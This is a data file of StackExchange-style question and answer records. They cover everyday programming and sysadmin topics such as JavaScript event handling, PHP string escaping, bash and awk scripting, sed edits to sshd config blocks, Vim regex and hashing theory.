{  "id": "_codereview.40168"  , "question": "Please provide feedback on the correctness of this code.  It should handle older versions of IE but how far back it goes I have not determined yet./**************************************************************************************************EVENTS*/    // ... snip    Priv.functionNull = function () {        return undefined;    };    // createEvent    Priv.createEvent = function () {        if (doc.createEvent) {            return function (type) {                var event = doc.createEvent(HTMLEvents);                event.initEvent(type, true, false);                $A.someKey(this, function (val) {                    val.dispatchEvent(event);                });            };        }        if (doc.createEventObject) {            return function (type) {                var event = doc.createEventObject();                event.eventType = type;                $A.someKey(this, function (val) {                    val.fireEvent('on' + type, event);                });            };        }        return Priv.functionNull;    };    Priv.proto.createEvent = function (type) {        return Priv.createEvent.call(this, type);    };    Pub.createEvent = (function () {        return function (element, type) {            var temp = [];            temp[0] = element;            Priv.createEvent.call(temp, type);        };    }());    // addEvent    Priv.addEvent = (function () {        if (win.addEventListener) {            return function (type, callback) {                $A.someKey(this, function (val) {                    val.addEventListener(type, callback);                });            };        }        if (win.attachEvent) {            return function (type, callback) {                $A.someKey(this, function (val) {                    val.attachEvent('on' + type, callback);                });            };        }        return Priv.functionNull;    }());    Priv.proto.addEvent = function (type, callback) {        return Priv.addEvent.call(this, type, callback);    };    Pub.addEvent = (function () {        return function (element, type, callback) {            var temp = [];            temp[0] = element;            Priv.addEvent.call(temp, type, callback);        };    }());    //remove event    Priv.proto.removeEvent = (function () {        if (win.removeEventListener) {            return function (type, callback) {                $A.someKey(this, function (val) {                    val.removeEventListener(type, callback);                });            };        }        if (win.detachEvent) {            return function (type, callback) {                $A.someKey(this, function (val) {                    val.detachEvent('on' + type, callback);                });            };        }        return Priv.functionNull;    }());    Priv.proto.removeEvent = function (type, callback) {        return Priv.removeEvent.call(this, type, callback);    };    Pub.removeEvent = (function () {        return function (element, type, callback) {            var temp = [];            temp[0] = element;            Priv.removeEvent.call(temp, type, callback);        };    }());"  , "title": "A package for the DOM - Events"  , "tags": "javascript"  } 
{  "id": "_codereview.37923"  , "question": "I had a somewhat interesting issue.  I had to take an array and turn it into a string with a set of delimiters; then later on take that string and turn it back into an array, splitting at the same delimiters.  The twist was the string could be contain anything (including the delimiters).I feel like I over-engineered the solution, and am wondering what you guys can come up with as alternatives.Here is my solution.  escapedImplode turns an array into a string, and escapedExplode turns that string back into its corresponding array.  The testEscapedIE function is a little test scaffolding to see if your solution works.function escapedImplode ($glue, $array, $escapeChar = '\\\\'){    $array = array_map(function ($item) use ($escapeChar, $glue) {        $item = str_replace($escapeChar, $escapeChar . $escapeChar, $item);        $item = str_replace($glue, $escapeChar . $glue, $item);        return $item;    }, $array);    return implode($glue, $array);}function escapedExplode ($delimiter, $string, $escapeChar = '\\\\'){    $characters = str_split($string);    $isEscaped = false;    $parts = array();    $buffer = '';    for ($i = 0; $i < count($characters); $i++)    {        $char = $characters[$i];        // If is escaped, just add to the buffer and continue        if ($isEscaped)        {            $buffer .= $char;            $isEscaped = false;            continue;        }        // If is a delimiter, which isn't escaped, set state and continue        else if ($char == $escapeChar)        {            $isEscaped = true;            continue;        }        // If not escaped and is the delimiter, break here        if ($char == $delimiter)        {            $parts[] = $buffer;            $buffer = '';            continue;        }        // Doesn't match another special case, tack onto buffer        $buffer .= $char;    }    // Add whatever is in the buffer to end of parts    $parts[] = $buffer;    return $parts;}function testEscapedIE (){    $tests = array(        array('test', 'cool', 'awesome'),        array('some/thing', 'cool', '/isbrewing/'),        array('with\\\\/asdf', '//other//', '\\\\/collness\\\\/'),        array('////','//\\\\//','\\\\//\\\\//\\\\','\\\\\\\\'),    );    foreach ($tests as $test)    {        $imploded = escapedImplode('/', $test);        $exploded = escapedExplode('/', $imploded);        echo 'Testing: ' . implode(', ', $test) . ' -- ';        echo $imploded . ' -- ';        echo implode($exploded, ', ') . ': ';        echo $test === $exploded ? '<strong>Pass</strong>' : '<strong>Fail</strong>';        echo <br/>\\n;    }}testEscapedIE();"  , "title": "Escaped explode/implode function"  , "tags": "php;strings"  , "accepted_answer": "Not bad.  I just have a few nitpicks.You can iterate over characters of a string directly without splitting it into an array first:for ($i = 0; $i < strlen($string); $i++) {    $char = $string[$i];    ...}I believe that the PHP interpreter isn't smart enough to recognize that strlen($string) is invariant, so you might get better performance with$strlen = strlen($string);for ($i = 0; $i < $strlen; $i++) {    $char = $string[$i];    ...}I find the else if in escapedExplode() slightly jarring.  Either use if and continue everywhere, or if, else if, else if, else without continue."  } 
{  "id": "_softwareengineering.33758"  , "question": "I've been using eclipse for a long time to do development. One of the problems I've come across when working on other people's projects is if they come from source control, some of the eclipse project files default.properties and other xml config files are missing. Its usually a big pain in the butt to get the project running in eclipse. I understand the reasoning to not have certain files tracked because they may be full of specific stuff to a certain eclipse install. How do all of you manage that?"  , "title": "Managing Eclipse projects in source control"  , "tags": "development process;version control;eclipse"  , "accepted_answer": "My solution has always been to not check those files in.I really have never liked it when I do a check out and have to filter through all the IDE-specific stuff. Why not use a common ground? If the IDE files are the common ground, great. But, more often than not, something like Ant and Maven are the common ground.It depends on the audience, but I generally avoid it. Build tools are mostly universal, and IDE's fall near the edge of the text editor religious wars. I'm a peaceful guy and practice my religion in private."  } 
{  "id": "_webapps.103479"  , "question": "I got a message on my mobile today:There's been a change to your Google accountalong with a prompt to re-enter my password.Could someone be using my account or is this a known issue?"  , "title": "Why did I get a There's been a change to your Google account message and password reprompt?"  , "tags": "google account;security"  } 
{  "id": "_unix.339815"  , "question": "I am trying to make an if-statement that says: If a file in this directory has .PDF extension do this, otherwise do this...And I'm having a hard time figuring out how to do this in bash. I checked here : https://stackoverflow.com/questions/3856747/check-whether-a-certain-file-type-extension-exists-in-directory first but the solutions listed either don't work or give errors I don't know how to fix. Attached below is  my script. I slightly modified the script I was working on in my previous question here: Change only the extension of a fileThe script is below: #!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [ [ -n $(echo *.PDF) ] ] # what should I put here???  then        for file in Task1/*.PDF;        do                mv $file ${file%.PDF}.pdf                echo $file has been updated        doneelse                echo No files of that type...fi~           **Edit 1: ** As per Ipor Sircer's answer below I changed my script to the following:#!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [ ls -1 *.PDF|xargs -l1 bash -c 'mv $0 ${0%.PDF}.pdf' ]then        for file in Task1/*.PDF;        do                mv $file ${file%.PDF}.pdf                echo $file has been updated        doneelse                echo No files of that type...fiI get the following errors: Hello this is task 1 of the homework./Shell1.sh: line 12: [: missing `]'mv: cannot stat ']': No such file or directoryNo files of that type...Edit 2As per  Eric Renouf's comment fixing the spacing gives me the following script: #!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [[ -n $(echo *.PDF) ]]then        for file in Task1/*.PDF;        do                mv $file ${file%.PDF}.pdf                echo $file has been updated        doneelse                echo No files of that type...fiHowever if I run it twice I see the following: Hello this is task 1 of the homeworkmv: cannot stat 'Task1/*.PDF': No such file or directoryTask1/*.PDF has been updatedWhy don't I just see the else echo since there are no files of type .PDF in the folder anymore? "  , "title": "If a file exists in a directory do...?"  , "tags": "bash;shell script"  } 
{  "id": "_codereview.120080"  , "question": "I have create a functioning automated traffic light sequence using an array and if statements. It all work correctly but I am wondering if there is anything more I can do to improve my code without changing to structure or way it works, so without the use of dictionary's etc. <!DOCTYPE html><head>    <title> Traffic Light</title>       <style>        .rainbow {            background-image: -webkit-gradient( linear, left top, right top, color-stop(0, red), color-stop(0.1, yellow), color-stop(0.2, green));            background-image: gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );            color:transparent;            -webkit-background-clip: text;            background-clip: text;        }    </style></head><body background=street.gif>    <h1 class=rainbow>Traffic Light</h1>    <canvas id=myCanvas width=200 height=300    style=border:1px solid #000000;>    Your browser does not support the HTML5 canvas tag.    </canvas>    <script>           var c = document.getElementById(myCanvas);        var ctx = c.getContext(2d);        ctx.rect(0, 0, 200, 300);        ctx.fillStyle = grey;        ctx.fill();        var colours=[red, yellow, green, black,red yellow];        var current=colours[0];        function offlight() {            ctx.beginPath();            ctx.arc(95,50,40,10,12*Math.PI);            ctx.fillStyle = black;            ctx.fill();            ctx.stroke();        }        function offlight1() {            ctx.beginPath();            ctx.arc(95,150,40,10,12*Math.PI);            ctx.fillStyle = black;            ctx.fill();            ctx.stroke();        }        function offlight2() {            ctx.beginPath();            ctx.arc(95,250,40,10,12*Math.PI);            ctx.fillStyle = black;            ctx.fill();            ctx.stroke();        }        function drawLight1() {            ctx.beginPath();            ctx.arc(95,50,40,10,12*Math.PI);            ctx.fillStyle = red;            ctx.fill();            ctx.stroke();        }        function drawLight2() {            ctx.beginPath();            ctx.arc(95,150,40,10,12*Math.PI);            ctx.fillStyle = yellow;            ctx.fill();            ctx.stroke();        }        function drawLight3() {            ctx.beginPath();            ctx.arc(95,250,40,10,12*Math.PI);            ctx.fillStyle = green;            ctx.fill();            ctx.stroke();        }        function changelight(){            if (current==colours[0]){                drawLight1();                offlight1();                offlight2();                current=colours[4]            } else if (current==colours[4]){                drawLight1();                drawLight2();                offlight2();                current=colours[2]            } else if (current==colours[2]) {                offlight();                offlight1();                drawLight3();                current=colours[3]            } else if (current==colours[3]){                offlight();                drawLight2();                offlight2();                current=colours[0]            }        }        setInterval(changelight,1000);    </script>    <br><br>    <button onclick=changelight()>Click</button></body>"  , "title": "Check of a traffic light sequence using an array and if statements"  , "tags": "javascript;html;css"  } 
{  "id": "_unix.184379"  , "question": "I am trying to copy files from one server directly to another, bypassing my local computer.I didscp -r usrname@server1.com:~/data/* usrname@server2.com:~/data/Password: Host key verification failed.lost connectionIs this even possible? How may I fix it?"  , "title": "Scp from one server to another server?"  , "tags": "scp"  } 
{  "id": "_vi.12109"  , "question": "I need to create regex in VIM (for plugin purpose) which would work as follows:Expected behavior:|| characters indicate current cursor position, bold words indicate matching wordsExample nr 1:foo bar foo barfoo b|a|r foo barfoo bar foo barTwo bars from first line match. First bar from the second line does not match because the cursor is currently placed on it. Second bar in the second line do match. Two bars from third line match.Example nr 2:foo bar foo barfoo bar foo barfo|o| bar foo barTwo foos from first line match. Two foos from the second line match. First foo from the third line does no match as the cursor is currently placed on it. Second foo from the third line do match.So I was tinkering a bit with it and I managed to create the regex which will match all words like one under the cursor: putting word under cursor into variablelet current_word = expand('<cword>') regex matching all words like one under cursor'\\k*\\<\\V'.current_word.'\\m\\>\\k*'I can not figure out how to exclude word under cursor from matches.I found this special character \\%# which according to VIM help Matches with the cursor position. (...)Yet I couldn't figure out how to use it in my case. Any ideas?"  , "title": "VIM regex - match all words equal to one under cursor, except one currently under the cursor"  , "tags": "regular expression"  , "accepted_answer": "\\%# will always track the cursor's position, but it will only work when matching text in the window.  If that's what you want, this is the pattern to use:\\%(\\k*\\%#\\k*\\)\\@!\\<bar\\>It matches any bar, but excludes any word that's under the cursor.  Using this in a / search will jump to the first match, which will seem strange if the cursor is currently over bar.You can use this pattern in :match if you just want to highlight all occurrences of <cword> that aren't under the cursor:autocmd CursorMoved * execute 'match Error /\\%(\\k*\\%#\\k*\\)\\@!\\<' . expand('<cword>') . '\\>/' If you want to match <cword> at the time of the search, you will need to create a more complicated pattern:function! s:search_allbut_cword() abort  let p1 = searchpos('\\<.', 'nbcW')  let p2 = searchpos('.\\>', 'ncW')  return '/\\%(\\%' . p1[0] . 'l'        \\. '\\%>' . (p1[1] - 1) . 'c'        \\. '\\%<' . (p2[1] + 1) . 'c\\)'        \\. '\\@!\\<' . expand('<cword>') . '\\>' . \\<cr>endfunctionnnoremap <expr> <leader>* <sid>search_allbut_cword()p1 is the position at the beginning of <cword> and p2 is the end.  With those, it creates a pattern that matches <cword> except on the current line between two columns.  This slightly flawed since it doesn't accurately account for changes made in the excluded region."  } 
{  "id": "_softwareengineering.341090"  , "question": "I have a limited amount of input types:34:56 = sensorA#, sensorA#, sensorB#2:5 = { led# }66 = otherSensor2,3,4,5 = greenRelay#, redRelay#, relayA#, relayA#a:b implies range. {name} implies a global name for the dataset.    # represents automatic enumeration in the name (not relevant for thequestion) Single values or coma separated values means what you'd expect for it.Less names than values implies automatic name assignation (not relevant for the question) I need to extract the numerical values from the left side of the expression and the names from the right side so I can iterate to assign the names to the values. I don't know hot to handle this task, I've been reading and I have sought a solution but I'd like to reach a good methodology for this case.Should I replace all the spaces and tabs  before processing?Should I use regex just to verify the correctness of the input or for something more?Should I use just plain string manipulation? I'm using Golang and strings are immutable, string manipulation implies allocations and a lot of code (speed is not REALLY important here but I'd like to find the correct way to solve this).Should I write a lexer and parser for this?"  , "title": "How to parse a simple custom syntax in Go?"  , "tags": "parsing;methodology;regular expressions;go"  , "accepted_answer": "Should I replace all the spaces and tabs before processing?You can do this if you want whitespace to be as meaningless as it is in c, c++, java, c#.  This means doing a double pass over the file.  For very large files this can be prohibitive because it forces you to hold the whole thing in memory or create a temp file.  There are techniques to consume whitespace on the fly.  Consider them before you resort to this.Should I use regex just to verify the correctness of the input or for something more?Not every language can be validated with regex.  Be sure of which category you're in before you commit to it.Should I use just plain string manipulation? I'm using Golang and strings are immutable, string manipulation implies allocations and a lot of code (speed is not REALLY important here but I'd like to find the correct way to solve this).A lot of code is not a good way to define a language.  Here's a good way:http://www.bottlecaps.de/rr/uiShould I write a lexer and parser for this?This offers the most power of anything you've mentioned.  There are likely simpler alternatives that center around reusing parsers written for things like json or xml but then you're just shoving your input types into a different data format.  "  } 
{  "id": "_webapps.92616"  , "question": "I've been trying to find a way using Twitter Advanced Search to return retweets made by a certain user. I'm trying to use a 3rd party tool called Twools to pull just retweets using a search. I've tried using this query, but it doesn't seem to return any retweets. from:username include:retweetsI'm not sure such a thing exists, but I'd love if there were something likefrom:username onlyinclude:retweetsIs there any secret search syntax that might be usable?"  , "title": "Use Twitter Advanced search to find retweets made by a single account?"  , "tags": "twitter"  , "accepted_answer": "It seems like the syntax for showing all the retweets by a user is supposed to be:from:username include:retweets filter:retweetsHowever, it seems all of this search syntax is broken in modern Twitter, where retweets are treated as a reference to the original tweet, rather than a separate RT @originaluser stuff and things tweet from the retweeter. filter:retweets picks up any tweet that happens to contain the word RT anywhere in the tweet but not actual retweets anymore."  } 
{  "id": "_unix.35956"  , "question": "I've found only puf (Parallel URL fetcher) but could to get it work with reading urls from file and something like  puf < urls.txtdoes not work either. The operating system installed on the server is ubuntu."  , "title": "Is there parallel wget? Something like fping but only for downloading?"  , "tags": "ubuntu;download;parallel"  , "accepted_answer": "You can implement that using Python and the pycurl library. The pycurl library has the multi interface that implements its own even loop that enables multiple simultaneous connections. However the interface is rather C-like and therefore a bit cumbersome as compared to other, more Pythonic, code. I wrote a wrapper for it that builds a more complete browser-like client on top of it. You can use that as an example. See the pycopia.WWW.client module. The HTTPConnectionManager wraps the multi interface. "  } 
{  "id": "_datascience.14852"  , "question": "I want to perform SGD on the following neural network:Training set size = 200000input layer size = 784hidden layer size = 50output layer size = 10I have an algorithm that performs batch gradient descent. The following python function calculates cost function and gradients for batch gradient descent: def cost(theta,X,y,lamb):   #get theta1 and theta2 from unrolled theta vector     th1 = (theta[0:(hiddenLayerSize*(inputLayerSize+1))].reshape((inputLayerSize+1,hiddenLayerSize))).T     th2 = (theta[(hiddenLayerSize*(inputLayerSize+1)):].reshape((hiddenLayerSize+1,outputLayerSize))).T#matrices to store gradient of theta1 &theta2          th1_grad = np.zeros(th1.shape)     th2_grad = np.zeros(th2.shape)     I = np.identity(outputLayerSize,int)     Y = np.zeros((realTrainSetSize ,outputLayerSize))    #get Y[i] to the size of output Layer     for i in range(0,realTrainSetSize ):      Y[i] = I[y[i]]     #add bais unit in each training example and perform forward prop and backprop     A1 = np.hstack([np.ones((realTrainSetSize ,1)),X])     Z2 = A1 @ (th1.T)     A2 = np.hstack([np.ones((len(Z2),1)),sigmoid(Z2)])     Z3 = A2 @ (th2.T)     H = A3 = sigmoid(Z3)     penalty = (lamb/(2*trainSetSize))*(sum(sum(np.delete(th1,0,1)**2))+ sum(sum(np.delete(th2,0,1)**2)) )     J = (1/2)*sum(sum( np.multiply(-Y,log(H)) - np.multiply((1-Y),log(1-H)) ))     sigma3 = A3 - Y;     sigma2 = np.multiply(sigma3@theta2,sigmoidGradient(np.hstack([np.ones((len(Z2),1)),Z2])))     sigma2 = np.delete(sigma2,0,1)     delta_1 = sigma2.T @ A1     delta_2 = sigma3.T @ A2     th1_grad = np.divide(delta_1,trainSetSize)+(lamb/trainSetSize)*(np.hstack([np.zeros((len(th1),1)) , np.delete(th1,0,1)]))     th2_grad = np.divide(delta_2,trainSetSize)+(lamb/trainSetSize)*(np.hstack([np.zeros((len(th2),1)) , np.delete(th2,0,1)]))     #unroll gradients of theta1 and theta2     theta_grad = np.concatenate(((th1_grad.T).ravel(),(th2_grad.T).ravel()))     return (J,theta_grad)I guess to perform SGD , the cost function should be modified to perform calculations on single training data(array of size 784) and then theta should be updated for each training data. Is it the correct way of implementing SGD ?If yes, I am not able to get this cost function to work for single training data , if no, then what is the correct way to implement SGD on a neural network ?"  , "title": "How can I perform stochastic gradient descent for training neural network?"  , "tags": "machine learning;python;neural network;data mining;gradient descent"  } 
{  "id": "_cogsci.5048"  , "question": "I was intrigued to read (in the question What positive writing exercises improve happiness?) the idea of a gratitude diary suggested as an intervention that causes psychological well-being levels to increase in a lasting way.Empirical studies suggest that people who use gratitude journals feel better about their lives and report fewer symptoms of illness. (Emmons & McCullough, 2003; Doverspike; Emmons Lab.)However, there's also lots of dubious law of attraction-style writing on the topic, like this:Did you know that appreciation, gratitude and love are the highest  forms of vibration? You can only have one vibration at a time, and if  you are noticing what you appreciate and noticing what you are  grateful for, you can't be noticing what you don't like.And although studies find gratitude journals to be beneficial, they disagree on the most beneficial ways to keep one. Psychologist William Doverspike says:A daily gratitude intervention (self-guided exercises) resulted in more positive effects tha[n] did the weekly intervention.But Jason Marsh of the Greater Good Science Center at the University of California, Berkeley says:Writing occasionally (once or twice per week) is more beneficial than daily journaling. In fact, one study by psychologist Sonja Lyubomirsky and her colleagues found that people who wrote in their gratitude journals once a week for six weeks reported boosts in happiness afterward; people who wrote three times per week didnt.So: which is likely to be correct in practice? And what best practices for keeping a gratitude journal can be inferred from other research, either specifically about gratitude or more generally in the cognitive sciences?References:Doverspike, Ph.D., William F. Gratitude: A Key to Happiness. Georgia Psychological Association.Emmons, R. A. & McCullough, M. E. (2003). Counting blessings versus burdens: An experimental investigation of gratitude and subjective well-being in daily life. Journal of Personality and Social Psychology, 84, 377-389.Gratitude and Well-Being. Emmons Lab at the University of California, Davis.Update (9th Dec 2013):I'm continuing to research this question. This article, while not terribly scientific, has some good jumping off points (infographic and links) that may help potential answerers!"  , "title": "Evidence-based best practices for writing a gratitude journal"  , "tags": "emotion;positive psychology;positive thinking"  } 
{  "id": "_cs.10447"  , "question": "I am currently learning how randomised Hashing works. So, you have a class (aka family) $H$ of hash functions, each of which maps the universe $U$ to the hash table $N$.That class is called strongly universal or pairwise independent if $\\forall x,y \\in U, x \\neq y: \\forall z_1,z_2 \\in N: \\Pr\\limits_{h \\in H}[h(x) = z_1 \\land h(y) = z_2] \\leq \\frac{1}{|N|^2}$. In words: pick any two elements from the universe and two from the hash table. If you pick a hash function from the hash class at random, the probability that these two elements are mapped to each other by $h$ is less or equal than $\\frac{1}{|N|^2}$.Now, what is confusing me is that, since $x$, $y$, $z_1$ and $z_2$ are all completely independent, it looks to me like you could just remove one pair from the equation and still get the same result. That would be $\\forall x \\in U: \\forall z \\in N: \\Pr\\limits_{h \\in H}[h(x) = z] \\leq \\frac{1}{|N|}$. This, however, is called uniformity of a hash class.Could someone explain to me why these two attributes are different from one anoter?"  , "title": "Hash function - uniformity / strong universality"  , "tags": "data structures;hash tables;hash"  , "accepted_answer": "Arnab provided the answer. The family $\\mathcal{H} = \\{h_i : i \\in N\\}$, where $h_i(x) = i$ for all $x \\in U$, is uniform but not pairwise independent. Similarly you can come up with families which are pairwise but not $3$-wise independent, and so on.To give a simple example, let $X,Y$ be two independent uniformly random coin tosses. Each of the possibilities $(H,H),(H,T),(T,H),(T,H)$ has the same probability. Now let $X'$ be a uniformly random coin toss, and let $Y' = X'$. Now it is not true that each of the four possibilities of $(X',Y')$ has the same probability, but each of $X',Y'$ by itself is a uniformly random coin toss."  } 
{  "id": "_codereview.58886"  , "question": "I am trying to compare the RemoveAt() function performance in an array and linked list.For array:public T RemoveAt(int index){    if (index >= this.count || index < 0)    {        throw new ArgumentOutOfRangeException(            Invalid index:  + index);    }    T item = this.arr[index];    Array.Copy(this.arr, index + 1,        this.arr, index, this.count - index - 1);    this.arr[this.count - 1] = default(T);    this.count--;    return item;}For linked list:public T RemoveAt(int index){    if (index < 0 || index >= count)    {        throw new IndexOutOfRangeException(Invalid Index + index);    }    else    {        int currentindex = 0;        ListNode currentnode = this.head;        ListNode prevnode = null;        while (currentindex<index)        {            prevnode = currentnode;            currentnode = currentnode.nextnode;            currentindex++;        }        // Remove the found element from the list of nodes        RemoveListNode(currentnode, prevnode);        // Return the removed element        return currentnode.element;    }}private void RemoveListNode(ListNode node, ListNode prevNode){                 prevNode.nextnode = node.nextnode;}Main program:I have inserted 10K elements in each and I am trying to remove the 500th element.Stopwatch s=new Stopwatch();CustomArrayList<int> listusingArray = new CustomArrayList<int>(10000);Console.WriteLine(Deleting 500th elements from array........\\n);s.Start();listusingArray.RemoveAt(500);s.Stop();Console.WriteLine(Time taken to delete from array:  + s.Elapsed);DynamicList<int> listusingDynamic = new DynamicList<int>();s.Reset();Console.WriteLine(Removing 500th elements from Link List........\\n);s.Start();listusingDynamic.RemoveAt(500);s.Stop();Console.WriteLine(Time taken to remove from list:  + s.Elapsed);Output:Time taken to delete from array :00:00:00.0003040Time taken to delete from list  :00:00:00.0008685Shouldn't the linked list Remove at() function  be faster as it avoids Array.Copy in array?"  , "title": "Linked list vs array performance for RemoveAt() function"  , "tags": "c#;performance;array;linked list"  } 
{  "id": "_unix.254594"  , "question": "For an input file named Lab1:034023  052030034023  022130044023  012030034223  022030034123  152030024023  152030AWK commandawk 'gsub(/[0-9][0-9]/,&:,$1) gsub(/[0-9][0-9]/,&:,$2)' Lab1results in:03:40:23: 05:20:30:03:40:23: 02:21:30:04:40:23: 01:20:30:03:42:23: 02:20:30:03:41:23: 15:20:30:02:40:23: 15:20:30:How can I prevent the trailing colons?desired result    03:40:23 05:20:30    03:40:23 02:21:30"  , "title": "Adding : time-formatting using awk"  , "tags": "text processing;awk"  , "accepted_answer": "awk '    {        for(i=1;i<=NF;i++){            sub(/[0-9]{4}$/,:&,$i)            sub(/:[0-9]{2}/,&:,$i)        }     }     1     ' <<<\\'034023  052030034023  022130044023  012030034223  022030034123  152030024023  152030'produces:03:40:23 05:20:3003:40:23 02:21:3004:40:23 01:20:3003:42:23 02:20:3003:41:23 15:20:3002:40:23 15:20:30Other scripts are1.#!/usr/bin/awk -fgsub(/[0-9]{4}\\>/,:&) &&gsub(/:[0-9][0-9]/,&:)2.#!/usr/bin/awk -fgsub(/[0-9]{2}\\B/,&:)3.    #!/usr/bin/awk -fBEGIN{    FS=OFS=}/[0-9]{6}  [0-9]{6}/{    $3=:$3    $4=$4:    $11=:$11    $12=$12:    print}4.#!/usr/bin/awk -f/[0-9]{6}  [0-9]{6}/{    printf(%02d:%d:%s:%d:%d\\n,        substr($0,0,2),        substr($0,3,2),        substr($0,5,6),        substr($0,11,2),        substr($0,13,2))}"  } 
{  "id": "_cs.7019"  , "question": "Consider the following language over the alphabet $\\mathcal{A} = \\{a,b,c\\}$:$$L = \\left\\{w \\in \\mathcal{A}^* \\mid \\text{\\(|w|\\) is odd and the middle character in \\(w\\) occurs nowhere else in \\(w\\)} \\right\\}$$I am trying to come up with a grammar for $L$, but I'm getting nowhere. I came up with some sample strings from the language which would be accepted: b, abcab, accbcaa I understand the length of the string has to be odd, and the middle character cannot be repeated anywhere in the string.Therefore, the above three strings are accepted. However, something like aabbb will not accepted, because even though the length is odd, the middle character is repeated.Can someone help with a grammar for $L$?"  , "title": "Grammar for a language: odd length, middle character not repeated"  , "tags": "formal languages;formal grammars"  } 
{  "id": "_unix.192465"  , "question": "I have a file (file.php) like this:...Match user foo        ChrootDirectory /NAS/foo.info/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noMatch user bar        ChrootDirectory /NAS/bar.co.uk/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noMatch user baz        ChrootDirectory /NAS/baz.com/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noI am trying to write a bash script to delete one of the paragraphs.So say I wanted delete the user foo from the file.php. After running the script, it would then look like this:...Match user bar        ChrootDirectory /NAS/bar.co.uk/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noMatch user baz        ChrootDirectory /NAS/baz.com/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noHow could I go about doing this. I have thought about using sed but that only seems to be appropriate for one liners?sed -i 's/foo//g' file.phpAnd I couldn't do it for each individual line as most of the lines withing the paragraph are not unique! Any ideas?"  , "title": "Remove paragraph from file"  , "tags": "bash;shell;text processing;sed"  , "accepted_answer": "Actually, sed can also take ranges. This command will delete all lines between Match user foo and the first empty line (inclusive):$ sed '/Match user foo/,/^\\s*$/{d}' fileMatch user bar        ChrootDirectory /NAS/bar.co.uk/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noMatch user baz        ChrootDirectory /NAS/baz.com/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noPersonally, however, I would do this using perl's paragraph mode (-00) that has the benefit of removing the leading blank lines:$ perl -00ne 'print unless /Match user foo/' fileMatch user bar        ChrootDirectory /NAS/bar.co.uk/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noMatch user baz        ChrootDirectory /NAS/baz.com/        ForceCommand internal-sftp        AllowTcpForwarding no        GatewayPorts no        X11Forwarding noIn both cases, you can use -i to edit the file in place (these will create a backup of the original called file.bak):sed -i.bak '/Match user foo/,/^\\s*$/{d}' fileorperl -i.bak -00ne 'print unless /Match user foo/' file "  } 
{  "id": "_unix.225756"  , "question": "what happened to the elementary os logo? why has it changed to an ubuntu "  , "title": "Why does my Elementary OS show an ubuntu logo?"  , "tags": "ubuntu;elementary os"  } 
{  "id": "_softwareengineering.321941"  , "question": "After learning OOP design then I got to know my programming way was not correct. One should convert physical entities or logically separable components into classes which are reusable and have their own behavior and properties. One must not simply convert all the entities into objects because that would be really cumbersome. If I am developing a filter system in console that checks if my program wants an integer from user then it must be an integer, it should not be a corrupted value by user's typing error or wrong input. For such purpose I should create a separate class to manage all its working and behaviors, distinguished from the console working so that if later I want to use that system into GUI then I can.But creating objects for such class does not makes sense, so I ended up creating everything static from data members to functions which rather seemed like creating somewhat a procedural design with classes. With only one benefit that all the data was bound into units by classes known as encapsulation.My Question is , Is it fine to have such interfaces with classes or one needs to move back to procedural for them? I often face such problems with designing when applying OOP design to the working mechanisms of my code. Edit-1Let me explain the question more precisely suppose you want create a filter system. So you take input in strings from the user and then perform checks if the data contains numerics or alphas or if the data is really pure, not a mixture of alpha and numerics making the code more robust and bug free. For that I created a class in which one needs to pass string and it will check it out what kind of data it is, based on it's internal working while working with such mechanism creating multiple objects of the filter system class does not make sense because if one does so then all the objects would be identical in functionality and usage. Which clearly means that there would be no benefit if the class has multiple instances. So I ended up creating everything static because I did not wanted to create objects"  , "title": "Ideal OOP Design"  , "tags": "c++"  , "accepted_answer": "The thing you asked about is called utility function.There are lots of information, opinions, and mis-information about the role and propriety of utility functions in object-oriented world.In your example, the utility function is very simple, so I would have preferred to keep it as a non-member#1 utility function. Your utility function has a very simple signature:#1: Not a member of a class. However, it could still be placed into a namespace.bool ValidateNumber(const std::string& str);When the utility function is used in the context of user I/O (specifically console-based user I/O), the following logic is typically involved:Subroutine ask user for number and repeat until successPrint promptAccept one line of text from userValidate input (by calling the utility function above)If validation fails,Print an error message explaining what is wrongLoop back to Print prompt, etc.If validation succeeds, the converted number is returned from this subroutine.Notice that this subroutine has plenty of states and logic. It has sufficient complexity that it can be made into a class and instantiated into an object. It could also be made customizable, e.g. allowing an application to instantiate two objects, each with a different prompt.In graphical user interface (GUI), it is more often to see that a number-asking subroutine being wrapped into an object. This is because in the GUI world, a GUI element that asks for a number will have some unique designs, most notably a spinbox (a pair of up/down arrows which allow user to increment/decrement the number when clicked). This strongly favors converting the subroutine into an object."  } 
